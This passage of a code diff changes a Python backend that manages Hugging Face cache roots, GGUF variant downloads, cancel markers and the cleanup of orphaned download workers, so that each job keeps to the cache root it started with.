         "variant": metadata.variant if metadata is not None else None,
         "transport": metadata.transport if metadata is not None else None,
+        "cancel_marker_transport": metadata.cancel_marker_transport
+        if metadata is not None
+        else None,
+        "hub_cache": metadata.hub_cache if metadata is not None else None,
+        "xet_cache": metadata.xet_cache if metadata is not None else None,
     }
     tmp = path.with_name(f".{path.name}.tmp-{pid}")
     try:
@@ -233,6 +238,7 @@ def _settle_orphaned_download(
     repo_id: Optional[str],
     variant: Optional[str],
     transport: Optional[str],
+    hub_cache: Optional[str] = None,
 ) -> None:
     """Persist a cancel marker for a reaped orphan still mid-download so the next
     launch settles it to a resumable "cancelled" state instead of a phantom-running
@@ -248,18 +254,42 @@ def _settle_orphaned_download(
         return
     from hub.utils import download_manifest
 
-    manifest = download_manifest.read_manifest(repo_type, repo_id, variant)
+    cache_root = Path(hub_cache) if isinstance(hub_cache, str) and hub_cache else None
+
+    manifest = download_manifest.read_manifest(
+        repo_type,
+        repo_id,
+        variant,
+        hub_cache = cache_root,
+    )
     if repo_type == "model" and variant and manifest is None:
         return
     if manifest is None:
-        if not has_active_incomplete_blobs(repo_type, repo_id):
+        if not has_active_incomplete_blobs(repo_type, repo_id, root = cache_root):
             return
     else:
-        if _manifest_verifies_against_active_cache(repo_type, repo_id, manifest):
+        if _manifest_verifies_against_active_cache(
+            repo_type,
+            repo_id,
+            manifest,
+            root = cache_root,
+        ):
             return
-        if not _manifest_has_active_incomplete_blobs(repo_type, repo_id, manifest):
+        if not _manifest_has_active_incomplete_blobs(
+            repo_type,
+            repo_id,
+            manifest,
+            root = cache_root,
+        ):
             return
-    persist_cancel_marker(repo_type, repo_id, variant, transport, logger = logger)
+    persist_cancel_marker(
+        repo_type,
+        repo_id,
+        variant,
+        transport,
+        hub_cache = hub_cache,
+        logger = logger,
+    )
 
 
 def reap_orphan_workers() -> None:
@@ -305,7 +335,8 @@ def reap_orphan_workers() -> None:
                 data.get("repo_type"),
                 repo_id,
                 data.get("variant"),
-                data.get("transport"),
+                data.get("cancel_marker_transport") or data.get("transport"),
+                data.get("hub_cache"),
             )
         except Exception as exc:
             logger.debug("Reaper failed for breadcrumb %s: %s", entry, exc)
@@ -352,8 +383,13 @@ def _purge_incomplete_blobs(
     return removed
 
 
-def _iter_active_snapshot_dirs(repo_type: str, repo_id: str) -> Iterator[Path]:
-    for entry in iter_active_repo_cache_dirs(repo_type, repo_id):
+def _iter_active_snapshot_dirs(
+    repo_type: str,
+    repo_id: str,
+    *,
+    root: Optional[Path] = None,
+) -> Iterator[Path]:
+    for entry in iter_active_repo_cache_dirs(repo_type, repo_id, root = root):
         snapshots_dir = entry / "snapshots"
         if not snapshots_dir.is_dir():
             continue
@@ -366,24 +402,41 @@ def _iter_active_snapshot_dirs(repo_type: str, repo_id: str) -> Iterator[Path]:
                 yield snapshot
 
 
-def _manifest_verifies_against_active_cache(repo_type: str, repo_id: str, manifest) -> bool:
+def _manifest_verifies_against_active_cache(
+    repo_type: str,
+    repo_id: str,
+    manifest,
+    *,
+    root: Optional[Path] = None,
+) -> bool:
     from hub.utils import download_manifest
-    for snapshot_dir in _iter_active_snapshot_dirs(repo_type, repo_id):
+    for snapshot_dir in _iter_active_snapshot_dirs(repo_type, repo_id, root = root):
         if download_manifest.verify_against_disk(manifest, snapshot_dir).ok:
             return True
     return False
 
 
-def _manifest_has_active_incomplete_blobs(repo_type: str, repo_id: str, manifest) -> bool:
+def _manifest_has_active_incomplete_blobs(
+    repo_type: str,
+    repo_id: str,
+    manifest,
+    *,
+    root: Optional[Path] = None,
+) -> bool:
     if not getattr(manifest, "variant", None):
-        return has_active_incomplete_blobs(repo_type, repo_id)
+        return has_active_incomplete_blobs(repo_type, repo_id, root = root)
     expected_hashes = frozenset(
         expected.sha256 for expected in manifest.expected_files if expected.sha256
     )
     if not expected_hashes:
-        return has_active_incomplete_blobs(repo_type, repo_id)
+        return has_active_incomplete_blobs(repo_type, repo_id, root = root)
     return bool(
-        incomplete_blob_hashes(repo_type, repo_id, active_only = True).intersection(expected_hashes)
+        incomplete_blob_hashes(
+            repo_type,
+            repo_id,
+            active_only = True,
+            root = root,
+        ).intersection(expected_hashes)
     )
 
 
@@ -456,6 +509,7 @@ def prepare_cache_for_transport(
     only_blob_hashes: Optional[frozenset[str]] = None,
     companion_blob_hashes: Optional[frozenset[str]] = None,
     protected_blob_hashes: Optional[frozenset[str]] = None,
+    root: Optional[Path] = None,
 ) -> int:
     """Guarantee any pre-existing ``.incomplete`` blobs are SAFE to resume under
     *mode*. Returns the number of partial blobs purged for untrusted provenance.
@@ -482,14 +536,13 @@ def prepare_cache_for_transport(
     they are excluded from every purge so a shared companion is never deleted
     mid-write.
 
-    Scope: only the active ``HF_HUB_CACHE`` root is inspected. That suffices for
-    resume safety because ``snapshot_download`` runs without a ``cache_dir``
-    override and so can only read or resume a ``.incomplete`` under this same
-    active root. Markers are written for the new mode before returning.
+    Scope: ``root`` selects the cache captured by the caller. It defaults to the
+    active ``HF_HUB_CACHE`` root for workers that inherit their cache through
+    the environment. Markers are written for the new mode before returning.
     """
     if mode not in VALID_TRANSPORTS:
         raise ValueError(f"Invalid transport mode: {mode!r}")
-    root = hf_cache_root(create = True)
+    root = hf_cache_root(create = True) if root is None else hf_cache_root(create = True, root = root)
     if root is None:
         return 0
     target = target_dir_name(repo_type, repo_id)
@@ -615,10 +668,11 @@ def incomplete_blob_hashes(
     repo_id: str,
     *,
     active_only: bool = False,
+    root: Optional[Path] = None,
 ) -> set[str]:
     out: set[str] = set()
     entries = (
-        iter_active_repo_cache_dirs(repo_type, repo_id)
+        iter_active_repo_cache_dirs(repo_type, repo_id, root = root)
         if active_only
         else iter_repo_cache_dirs(repo_type, repo_id)
     )
@@ -635,16 +689,24 @@ def incomplete_blob_hashes(
     return out
 
 
-def completed_blob_bytes(repo_type: str, repo_id: str, blob_hashes: frozenset[str]) -> int:
-    """Sum finalized blob bytes for *blob_hashes* in the active HF cache root.
+def completed_blob_bytes(
+    repo_type: str,
+    repo_id: str,
+    blob_hashes: frozenset[str],
+    *,
+    root: Optional[Path] = None,
+) -> int:
+    """Sum finalized blob bytes for *blob_hashes* in a single HF cache root.
 
-    A worker only writes to the active ``HF_HUB_CACHE`` root, so a baseline must
-    ignore legacy/default roots that ``snapshot_download`` won't reuse this run.
+    A worker only writes to its captured ``HF_HUB_CACHE`` root, so a baseline
+    must be scoped to that root (``root``), not re-resolved to whatever cache is
+    active now; otherwise a runtime cache switch makes the retry baseline count
+    bytes from the wrong disk.
     """
     if not blob_hashes:
         return 0
     total = 0
-    for entry in iter_active_repo_cache_dirs(repo_type, repo_id):
+    for entry in iter_active_repo_cache_dirs(repo_type, repo_id, root = root):
         blobs_dir = entry / "blobs"
         if not blobs_dir.is_dir():
             continue
@@ -699,6 +761,7 @@ class DownloadMetadata:
     repo_id: str
     variant: Optional[str]
     transport: Optional[str]
+    cancel_marker_transport: Optional[str] = None
     # GGUF variant main/writable hashes, identifying the variant-specific shards
     # for concurrency decisions.
     blob_hashes: frozenset[str] = field(default_factory = frozenset)
@@ -708,6 +771,8 @@ class DownloadMetadata:
     # Bytes already complete before this job started; not counted as this run's
     # progress.
     completed_baseline_bytes: int = 0
+    hub_cache: Optional[str] = None
+    xet_cache: Optional[str] = None
 
 
 @dataclass(frozen = True)
@@ -748,6 +813,7 @@ def persist_cancel_marker(
     variant: Optional[str],
     transport: Optional[str],
     *,
+    hub_cache: Optional[str] = None,
     logger = logger,
 ) -> None:
     if not repo_type or not repo_id:
@@ -759,6 +825,7 @@ def persist_cancel_marker(
             repo_id,
             variant,
             transport = transport,
+            hub_cache = hub_cache,
         ):
             logger.debug("write_cancel_marker returned False for %s", repo_id)
     except Exception as exc:
@@ -801,6 +868,7 @@ class DownloadRegistry:
         self._processes: dict[str, subprocess.Popen] = {}
         self._repo_active: dict[str, set[str]] = {}
         self._metadata: dict[str, DownloadMetadata] = {}
+        self._cancel_marker_transports: dict[str, str] = {}
         self._pending_cancel: dict[str, Optional[int]] = {}
         self._generations: dict[str, int] = {}
         # Monotonic across keys so an evicted then re-claimed key never reuses a
@@ -839,6 +907,7 @@ class DownloadRegistry:
             if state in TERMINAL_STATES:
                 self._put_terminal_job_locked(key, state, error)
                 self._pending_cancel.pop(key, None)
+                self._cancel_marker_transports.pop(key, None)
                 repo = _repo_of_key(key)
                 active = self._repo_active.get(repo)
                 if active is not None:
@@ -848,6 +917,57 @@ class DownloadRegistry:
             else:
                 self._jobs[key] = DownloadState(state, error)
 
+    def set_error_unless_cancelled(
+        self, key: str, error: str
+    ) -> tuple[JobState, Optional[DownloadMetadata]]:
+        key = normalize_job_key(key)
+        with self._lock:
+            current = self._jobs.get(key, DownloadState("idle")).state
+            has_pending_cancel = key in self._pending_cancel
+            pending_generation = self._pending_cancel.get(key)
+            metadata = self._metadata.get(key)
+            should_cancel = current == "cancelling" or (
+                has_pending_cancel and self._generation_matches_locked(key, pending_generation)
+            )
+            terminal_state: JobState = "cancelled" if should_cancel else "error"
+            marker_transport = self._cancel_marker_transports.pop(key, None)
+            if marker_transport is None and metadata is not None:
+                marker_transport = metadata.cancel_marker_transport
+            self._put_terminal_job_locked(
+                key,
+                terminal_state,
+                None if should_cancel else error,
+            )
+            self._pending_cancel.pop(key, None)
+            repo = _repo_of_key(key)
+            active = self._repo_active.get(repo)
+            if active is not None:
+                active.discard(key)
+                if not active:
+                    self._repo_active.pop(repo, None)
+            if should_cancel and metadata is not None and marker_transport is not None:
+                metadata = replace(metadata, transport = marker_transport)
+            return terminal_state, metadata
+
+    def update_job_transport(self, key: str, transport: str) -> None:
+        key = normalize_job_key(key)
+        with self._lock:
+            metadata = self._metadata.get(key)
+            if metadata is None or metadata.transport == transport:
+                return
+            self._metadata[key] = replace(metadata, transport = transport)
+
+    def release_active_slot(self, key: str) -> None:
+        key = normalize_job_key(key)
+        repo = _repo_of_key(key)
+        with self._lock:
+            active = self._repo_active.get(repo)
+            if active is None:
+                return
+            active.discard(key)
+            if not active:
+                self._repo_active.pop(repo, None)
+
     def get_job(self, key: str) -> DownloadState:
         key = normalize_job_key(key)
         with self._lock:
@@ -884,6 +1004,14 @@ class DownloadRegistry:
             ):
                 self._put_terminal_job_locked(key, "cancelled")
                 metadata_to_persist = self._metadata.pop(key, None)
+                marker_transport = self._cancel_marker_transports.pop(key, None)
+                if marker_transport is None and metadata_to_persist is not None:
+                    marker_transport = metadata_to_persist.cancel_marker_transport
+                if metadata_to_persist is not None and marker_transport is not None:
+                    metadata_to_persist = replace(
+                        metadata_to_persist,
+                        transport = marker_transport,
+                    )
                 repo = _repo_of_key(key)
                 active = self._repo_active.get(repo)
                 if active is not None:
@@ -906,6 +1034,7 @@ class DownloadRegistry:
                 metadata_to_persist.repo_id,
                 metadata_to_persist.variant,
                 metadata_to_persist.transport,
+                hub_cache = metadata_to_persist.hub_cache,
             )
         return False
 
@@ -963,12 +1092,26 @@ class DownloadRegistry:
         blob_hashes: Optional[frozenset[str]] = None,
         progress_blob_hashes: Optional[frozenset[str]] = None,
         completed_baseline_bytes: int = 0,
+        admission_check: Optional[Callable[[], bool]] = None,
+        generation: Optional[int] = None,
+        replace_active: bool = False,
+        metadata_transport: Optional[str] = None,
+        cancel_marker_transport: Optional[str] = None,
+        hub_cache: Optional[str] = None,
+        xet_cache: Optional[str] = None,
     ) -> tuple[bool, str]:
         key = normalize_job_key(key)
         repo = _repo_of_key(key)
         requested_hashes = blob_hashes or frozenset()
         requested_progress_hashes = progress_blob_hashes or frozenset()
         with self._lock:
+            # Run the final external admission check while the registry lock is
+            # held, immediately before inspecting and publishing active state.
+            # The GGUF load path establishes its marker before calling
+            # its active-job probe, so either this claim observes that marker
+            # or the load's later probe observes this claim.
+            if admission_check is not None and not admission_check():
+                return False, "admission_blocked"
             deleting_scopes = self._deleting.get(repo)
             if deleting_scopes is not None and (
                 None in deleting_scopes or variant_from_key(key) in deleting_scopes
@@ -1007,10 +1150,13 @@ class DownloadRegistry:
             if conflict_state is not None:
                 return False, conflict_state
             current = self._jobs.get(key, DownloadState("idle")).state
-            if current in _ACTIVE_STATES:
+            if current in _ACTIVE_STATES and not replace_active:
                 return False, current
-            self._generation_seq += 1
-            self._generations[key] = self._generation_seq
+            if generation is None:
+                self._generation_seq += 1
+                self._generations[key] = self._generation_seq
+            else:
+                self._generations[key] = generation
             self._jobs[key] = DownloadState("running")
             self._repo_active.setdefault(repo, active).add(key)
             if repo_type and repo_id:
@@ -1018,16 +1164,24 @@ class DownloadRegistry:
                     repo_type = repo_type,
                     repo_id = repo_id,
                     variant = variant,
-                    transport = transport,
+                    transport = metadata_transport if metadata_transport is not None else transport,
+                    cancel_marker_transport = cancel_marker_transport,
                     blob_hashes = requested_hashes,
                     progress_blob_hashes = requested_progress_hashes,
                     completed_baseline_bytes = max(
                         0,
                         int(completed_baseline_bytes or 0),
                     ),
+                    hub_cache = hub_cache,
+                    xet_cache = xet_cache,
                 )
+                if cancel_marker_transport is not None:
+                    self._cancel_marker_transports[key] = cancel_marker_transport
+                else:
+                    self._cancel_marker_transports.pop(key, None)
             else:
                 self._metadata.pop(key, None)
+                self._cancel_marker_transports.pop(key, None)
             return True, "running"
 
     def adoptable(self, key: str) -> bool:
@@ -1053,7 +1207,8 @@ class DownloadRegistry:
         download. A variant delete conflicts only with that same variant or a
         whole-repo download writing the shared snapshot; other quantizations
         download concurrently and never block it."""
-        for key in self._repo_active.get(repo_id, set()):
+        active_keys = self._repo_active.get(repo_id, set())
+        for key in active_keys:
             job = self._jobs.get(key)
             if job is None or job.state not in _ACTIVE_STATES:
                 continue
@@ -1062,6 +1217,16 @@ class DownloadRegistry:
             other_variant = self._active_job_variant_locked(key)
             if other_variant is None or other_variant == variant:
                 return True
+        for key, job in self._jobs.items():
+            if key in active_keys or _repo_of_key(key) != repo_id:
+                continue
+            if job.state not in _ACTIVE_STATES:
+                continue
+            if variant is None:
+                return True
+            other_variant = self._active_job_variant_locked(key)
+            if other_variant is None or other_variant == variant:
+                return True
         return False
 
     def peer_blob_hashes(self, key: str) -> frozenset[str]:
@@ -1108,6 +1273,16 @@ class DownloadRegistry:
                 candidate_keys = list(self._repo_active.get(repo_key, set()))
             else:
                 candidate_keys = [key for active in self._repo_active.values() for key in active]
+            # An XET->HTTP retry handoff briefly drops its key from _repo_active
+            # while its job stays active; include those released-but-active jobs
+            # so the waiting retry still lists and can be adopted or cancelled.
+            seen = set(candidate_keys)
+            for key, job in self._jobs.items():
+                if key in seen or job.state not in _ACTIVE_STATES:
+                    continue
+                if repo_key is not None and _repo_of_key(key) != repo_key:
+                    continue
+                candidate_keys.append(key)
             refs: list[ActiveDownloadRef] = []
             for key in candidate_keys:
                 job = self._jobs.get(key)
@@ -1123,6 +1298,23 @@ class DownloadRegistry:
                 )
             return refs
 
+    def has_active_variant(self, repo_id: str, variant: Optional[str]) -> bool:
+        """Whether an active model job targets this exact GGUF variant.
+
+        Scans the job table rather than only ``_repo_active`` so an XET-to-HTTP
+        retry handoff remains visible while it has temporarily released its
+        active slot.
+        """
+        repo_key = normalize_repo_key(repo_id)
+        target = (variant or "").strip().lower() or None
+        with self._lock:
+            for key, job in self._jobs.items():
+                if _repo_of_key(key) != repo_key or job.state not in _ACTIVE_STATES:
+                    continue
+                if self._active_job_variant_locked(key) == target:
+                    return True
+        return False
+
     def begin_delete(
         self,
         repo_id: str,
@@ -1169,12 +1361,25 @@ class DownloadRegistry:
         repo_id = normalize_repo_key(repo_id)
         target = (variant or "").strip().lower() or None
         with self._lock:
-            for key in self._repo_active.get(repo_id, set()):
+            active_keys = self._repo_active.get(repo_id, set())
+            for key in active_keys:
                 job = self._jobs.get(key)
                 if job is None or job.state not in _ACTIVE_STATES:
                     continue
                 if self._active_job_variant_locked(key) != target:
                     return True
+            # An XET->HTTP retry peer between release_active_slot() and its reclaim
+            # is briefly absent from _repo_active while its job stays active and
+            # still owns the shared companion; mirror the released-but-active scan
+            # used by _delete_blocked_by_active_locked so it still blocks companion
+            # deletion of a different variant.
+            for key, job in self._jobs.items():
+                if key in active_keys or _repo_of_key(key) != repo_id:
+                    continue
+                if job.state not in _ACTIVE_STATES:
+                    continue
+                if self._active_job_variant_locked(key) != target:
+                    return True
         return False
 
     def request_cancel(
@@ -1198,17 +1403,59 @@ class DownloadRegistry:
             return True
 
     def terminate_all(self, kind: str = "download") -> None:
+        settled_no_proc: list[Optional[DownloadMetadata]] = []
         with self._lock:
             live = [
                 (key, proc, self._metadata.get(key))
                 for key, proc in self._processes.items()
                 if proc.poll() is None
             ]
+            live_keys = {key for key, _proc, _metadata in live}
             # Flag as an intentional stop so the watcher's exit classification
             # reports them cancelled rather than an OOM/crash once SIGKILL lands.
             for key, _proc, _metadata in live:
                 if self._jobs.get(key, DownloadState("idle")).state == "running":
                     self._jobs[key] = DownloadState("cancelling")
+            # Settle active jobs without a live worker too. Two cases: an
+            # XET->HTTP retry parked in the reclaim wait loop has dropped its
+            # worker and slot guard, so it is absent from `live`; and a
+            # registered worker that already exited with an error but whose
+            # watcher has not yet run would otherwise stay `running` and spawn an
+            # HTTP retry after this shutdown snapshot. Skip a registered worker
+            # that exited cleanly (rc == 0): it completed and the watcher will
+            # mark it done, so marking it cancelling would strand a stale marker.
+            for key, job in list(self._jobs.items()):
+                if job.state not in _ACTIVE_STATES or key in live_keys:
+                    continue
+                proc = self._processes.get(key)
+                if proc is not None:
+                    if proc.poll() == 0:
+                        continue
+                    # A registered worker that exited nonzero on its own over HTTP
+                    # is a genuine terminal download failure, not a shutdown cancel
+                    # and not retry-capable: leave its error status intact rather
+                    # than persisting a cancel marker that would read as
+                    # cancelled/resumable after restart. Only an exited XET worker
+                    # could still spawn a post-shutdown HTTP retry, so only that
+                    # needs settling here.
+                    metadata = self._metadata.get(key)
+                    if metadata is not None and metadata.transport == TRANSPORT_HTTP:
+                        continue
+                self._pending_cancel[key] = self._generations.get(key)
+                self._jobs[key] = DownloadState("cancelling")
+                settled_no_proc.append(self._metadata.get(key))
+        # Persist a cancel marker for each settled no-live-worker job outside the
+        # lock (mirroring the reaped path) so shutdown records resumable/cancelled
+        # state even if it returns before the daemon watcher wakes to do so.
+        for metadata in settled_no_proc:
+            if metadata is not None:
+                persist_cancel_marker(
+                    metadata.repo_type,
+                    metadata.repo_id,
+                    metadata.variant,
+                    metadata.cancel_marker_transport or metadata.transport,
+                    hub_cache = metadata.hub_cache,
+                )
         reaped: list[tuple[str, subprocess.Popen, Optional[DownloadMetadata]]] = []
         for key, proc, metadata in live:
             try:
@@ -1222,7 +1469,8 @@ class DownloadRegistry:
                         metadata.repo_type,
                         metadata.repo_id,
                         metadata.variant,
-                        metadata.transport,
+                        metadata.cancel_marker_transport or metadata.transport,
+                        hub_cache = metadata.hub_cache,
                     )
                 continue
             reaped.append((key, proc, metadata))
@@ -1242,7 +1490,8 @@ class DownloadRegistry:
                     metadata.repo_type,
                     metadata.repo_id,
                     metadata.variant,
-                    metadata.transport,
+                    metadata.cancel_marker_transport or metadata.transport,
+                    hub_cache = metadata.hub_cache,
                 )
 
 
diff --git a/studio/backend/hub/utils/gguf.py b/studio/backend/hub/utils/gguf.py
index 2e3de125f1..eb768db5d6 100644
--- a/studio/backend/hub/utils/gguf.py
+++ b/studio/backend/hub/utils/gguf.py
@@ -253,11 +253,16 @@ def _env_offline() -> bool:
     ) or os.environ.get("TRANSFORMERS_OFFLINE", "").lower() in ("1", "true", "yes")
 
 
-def iter_hf_cache_snapshots(repo_id: str):
-    from hub.utils.hf_cache_state import iter_repo_cache_dirs
+def iter_hf_cache_snapshots(repo_id: str, root: Optional[Path] = None):
+    from hub.utils.hf_cache_state import iter_active_repo_cache_dirs, iter_repo_cache_dirs
 
     snapshots: list[Path] = []
-    for repo_dir in iter_repo_cache_dirs("model", repo_id):
+    repo_dirs = (
+        iter_active_repo_cache_dirs("model", repo_id, root = root)
+        if root is not None
+        else iter_repo_cache_dirs("model", repo_id)
+    )
+    for repo_dir in repo_dirs:
         snapshots_dir = repo_dir / "snapshots"
         if not snapshots_dir.is_dir():
             continue
@@ -276,12 +281,17 @@ def iter_hf_cache_snapshots(repo_id: str):
     yield from snapshots
 
 
-def list_empty_gguf_variant_dirs(repo_id: str) -> set[str]:
+def list_empty_gguf_variant_dirs(repo_id: str, root: Optional[Path] = None) -> set[str]:
     """Quant labels present only as an EMPTY snapshot ``<quant>/`` folder (an
     interrupted split download); a quant with shards in any snapshot is excluded."""
     empty: dict[str, str] = {}
     nonempty: set[str] = set()
-    for snapshot in iter_hf_cache_snapshots(repo_id):
+    snapshots = (
+        iter_hf_cache_snapshots(repo_id, root = root)
+        if root is not None
+        else iter_hf_cache_snapshots(repo_id)
+    )
+    for snapshot in snapshots:
         try:
             entries = list(snapshot.iterdir())
         except OSError:
@@ -303,8 +313,15 @@ def list_empty_gguf_variant_dirs(repo_id: str) -> set[str]:
     return {label for key, label in empty.items() if key not in nonempty}
 
 
-def list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVariantInfo], bool]]:
-    for snapshot in iter_hf_cache_snapshots(repo_id):
+def list_gguf_variants_from_hf_cache(
+    repo_id: str, root: Optional[Path] = None
+) -> Optional[tuple[list[GgufVariantInfo], bool]]:
+    snapshots = (
+        iter_hf_cache_snapshots(repo_id, root = root)
+        if root is not None
+        else iter_hf_cache_snapshots(repo_id)
+    )
+    for snapshot in snapshots:
         variants, has_vision = list_local_gguf_variants(str(snapshot))
         if variants or has_vision:
             return variants, has_vision
@@ -312,7 +329,7 @@ def list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVa
 
 
 def list_partial_gguf_variants_from_state(
-    repo_id: str,
+    repo_id: str, hub_cache: Optional[Path] = None
 ) -> Optional[tuple[list[GgufVariantInfo], bool]]:
     """Reconstruct GGUF variants from download manifests/markers alone.
 
@@ -328,10 +345,26 @@ def list_partial_gguf_variants_from_state(
     # original-casing label over a lowercased cancel marker for the same variant.
     seen: set[str] = set()
     ordered: list[str] = []
-    for source in (
-        download_manifest.iter_variant_manifests("model", repo_id),
-        download_manifest.iter_variant_markers("model", repo_id),
-    ):
+    sources = (
+        (
+            download_manifest.iter_variant_manifests("model", repo_id),
+            download_manifest.iter_variant_markers("model", repo_id),
+        )
+        if hub_cache is None
+        else (
+            download_manifest.iter_variant_manifests(
+                "model",
+                repo_id,
+                hub_cache = hub_cache,
+            ),
+            download_manifest.iter_variant_markers(
+                "model",
+                repo_id,
+                hub_cache = hub_cache,
+            ),
+        )
+    )
+    for source in sources:
         for variant, _path in source:
             key = variant.lower()
             if key not in seen:
@@ -343,7 +376,16 @@ def list_partial_gguf_variants_from_state(
     variants: list[GgufVariantInfo] = []
     has_vision = False
     for variant in ordered:
-        manifest = download_manifest.read_manifest("model", repo_id, variant)
+        manifest = (
+            download_manifest.read_manifest("model", repo_id, variant)
+            if hub_cache is None
+            else download_manifest.read_manifest(
+                "model",
+                repo_id,
+                variant,
+                hub_cache = hub_cache,
+            )
+        )
         main_filename: Optional[str] = None
         size_bytes = 0
         companion_bytes = 0
diff --git a/studio/backend/hub/utils/gguf_plan.py b/studio/backend/hub/utils/gguf_plan.py
index 2abdb0fb79..18daa4f84e 100644
--- a/studio/backend/hub/utils/gguf_plan.py
+++ b/studio/backend/hub/utils/gguf_plan.py
@@ -102,16 +102,17 @@ def preferred_mmproj_sibling(siblings: Sequence) -> Optional[object]:
 def preferred_mtp_sibling(siblings: Sequence) -> Optional[object]:
     """The separate MTP drafter to fetch with every variant: the repo-root
     ``mtp-*.gguf`` copy unsloth ships for llama.cpp ``-hf`` auto-discovery
-    (Gemma 4). Same pick as the loader's drafter resolution (``mtp-`` basename
-    prefix, first in sort order) so download and load resolve the same file;
-    the higher-precision ``MTP/`` subdir copies are for explicit selection and
-    are not auto-fetched. None for repos with the head baked into the main
-    GGUF (Qwen)."""
+    (Gemma 4). Same pick as the loader's drafter resolution (root-level
+    ``mtp-`` prefix, first in sort order) so download and load resolve the same
+    file; the higher-precision ``MTP/`` subdir copies are for explicit
+    selection and are not auto-fetched. None for repos with the head baked into
+    the main GGUF (Qwen)."""
+    # Root-level only: the MTP/ subdir copies now share the mtp- prefix too.
     candidates = sorted(
         (
             s
             for s in siblings
-            if (name := _gguf_rfilename(s)) and name.lower().rsplit("/", 1)[-1].startswith("mtp-")
+            if (name := _gguf_rfilename(s)) and "/" not in name and name.lower().startswith("mtp-")
         ),
         key = lambda s: getattr(s, "rfilename"),
     )
diff --git a/studio/backend/hub/utils/hf_cache_state.py b/studio/backend/hub/utils/hf_cache_state.py
index 22c948b683..49a28c813c 100644
--- a/studio/backend/hub/utils/hf_cache_state.py
+++ b/studio/backend/hub/utils/hf_cache_state.py
@@ -29,12 +29,10 @@ def _safe_is_dir(path: Path) -> bool:
         return False
 
 
-def hf_cache_root(*, create: bool = False) -> Optional[Path]:
-    try:
-        from huggingface_hub import constants as hf_constants
-    except ImportError:
-        return None
-    root = Path(hf_constants.HF_HUB_CACHE)
+def hf_cache_root(*, create: bool = False, root: Optional[Path] = None) -> Optional[Path]:
+    from utils.hf_cache_settings import get_hf_cache_paths
+
+    root = root or get_hf_cache_paths().hub_cache
     if create:
         try:
             root.mkdir(parents = True, exist_ok = True)
@@ -46,6 +44,7 @@ def hf_cache_root(*, create: bool = False) -> Optional[Path]:
 
 def hf_cache_roots() -> list[Path]:
     from hub.utils.paths import hf_default_cache_dir, legacy_hf_cache_dir
+    from utils.hf_cache_settings import known_hf_hub_caches
 
     roots: list[Path] = []
     seen: set[str] = set()
@@ -62,7 +61,8 @@ def hf_cache_roots() -> list[Path]:
         seen.add(key)
         roots.append(path)
 
-    _add(hf_cache_root())
+    for configured in known_hf_hub_caches():
+        _add(configured)
     _add(legacy_hf_cache_dir())
     _add(hf_default_cache_dir())
     return roots
@@ -181,12 +181,22 @@ def iter_repo_cache_dirs(repo_type: str, repo_id: str) -> Iterator[Path]:
             continue
 
 
-def iter_destructive_repo_cache_dirs(repo_type: str, repo_id: str) -> Iterator[Path]:
+def iter_destructive_repo_cache_dirs(
+    repo_type: str,
+    repo_id: str,
+    *,
+    root: Optional[Path] = None,
+) -> Iterator[Path]:
     target = repo_cache_dir_name(repo_type, repo_id)
     folded_target = target.lower()
-    for root in hf_cache_roots():
+    if root is not None:
+        scoped = hf_cache_root(root = root)
+        bases = [scoped] if scoped is not None else []
+    else:
+        bases = hf_cache_roots()
+    for base in bases:
         try:
-            entries = [entry for entry in root.iterdir() if entry.name.lower() == folded_target]
+            entries = [entry for entry in base.iterdir() if entry.name.lower() == folded_target]
         except OSError:
             continue
         matched_names = resolve_destructive_case_matches(
@@ -200,8 +210,13 @@ def iter_destructive_repo_cache_dirs(repo_type: str, repo_id: str) -> Iterator[P
                 yield entry
 
 
-def iter_active_repo_cache_dirs(repo_type: str, repo_id: str) -> Iterator[Path]:
-    root = hf_cache_root()
+def iter_active_repo_cache_dirs(
+    repo_type: str,
+    repo_id: str,
+    *,
+    root: Optional[Path] = None,
+) -> Iterator[Path]:
+    root = hf_cache_root(root = root)
     if root is None:
         return
     target = target_dir_name(repo_type, repo_id)
@@ -218,12 +233,13 @@ def preferred_repo_cache_dirs(
     repo_id: str,
     *,
     force_active: bool = False,
+    active_root: Optional[Path] = None,
 ) -> list[Path]:
-    active_entries = list(iter_active_repo_cache_dirs(repo_type, repo_id))
+    active_entries = list(iter_active_repo_cache_dirs(repo_type, repo_id, root = active_root))
     if active_entries:
         return active_entries
     if force_active:
-        root = hf_cache_root()
+        root = hf_cache_root(root = active_root)
         if root is not None:
             canonical = repo_cache_dir_name(repo_type, repo_id)
             return [root / canonical]
@@ -237,8 +253,13 @@ def has_incomplete_blobs(repo_type: str, repo_id: str) -> bool:
     return False
 
 
-def has_active_incomplete_blobs(repo_type: str, repo_id: str) -> bool:
-    for entry in iter_active_repo_cache_dirs(repo_type, repo_id):
+def has_active_incomplete_blobs(
+    repo_type: str,
+    repo_id: str,
+    *,
+    root: Optional[Path] = None,
+) -> bool:
+    for entry in iter_active_repo_cache_dirs(repo_type, repo_id, root = root):
         if repo_cache_dir_has_incomplete_blobs(entry):
             return True
     return False
@@ -273,9 +294,14 @@ def _prune_empty_dirs(root: Path) -> bool:
     return removed
 
 
-def purge_partial_repo(repo_type: str, repo_id: str) -> bool:
+def purge_partial_repo(
+    repo_type: str,
+    repo_id: str,
+    *,
+    root: Optional[Path] = None,
+) -> bool:
     removed = False
-    for entry in iter_destructive_repo_cache_dirs(repo_type, repo_id):
+    for entry in iter_destructive_repo_cache_dirs(repo_type, repo_id, root = root):
         blobs_dir = entry / "blobs"
         if blobs_dir.is_dir():
             for blob in blobs_dir.iterdir():
@@ -290,9 +316,14 @@ def purge_partial_repo(repo_type: str, repo_id: str) -> bool:
     return removed
 
 
-def purge_repo_cache_dirs(repo_type: str, repo_id: str) -> bool:
+def purge_repo_cache_dirs(
+    repo_type: str,
+    repo_id: str,
+    *,
+    root: Optional[Path] = None,
+) -> bool:
     removed = False
-    for entry in iter_destructive_repo_cache_dirs(repo_type, repo_id):
+    for entry in iter_destructive_repo_cache_dirs(repo_type, repo_id, root = root):
         try:
             if entry.is_symlink() or not entry.is_dir():
                 continue
@@ -301,3 +332,59 @@ def purge_repo_cache_dirs(repo_type: str, repo_id: str) -> bool:
         except FileNotFoundError:
             continue
     return removed
+
+
+def scoped_delete_root(repo_type: str, repo_id: str, cache_path: Optional[str]) -> Optional[Path]:
+    """Resolve the single cache root a delete of this repo may touch.
+
+    Returns the active hub cache when *cache_path* is falsy, the owning cache
+    root when *cache_path* points inside a known cache, or ``None`` when
+    *cache_path* is set but not inside any known cache (caller should reject).
+    This keeps a delete of one inventory row from removing copies in other,
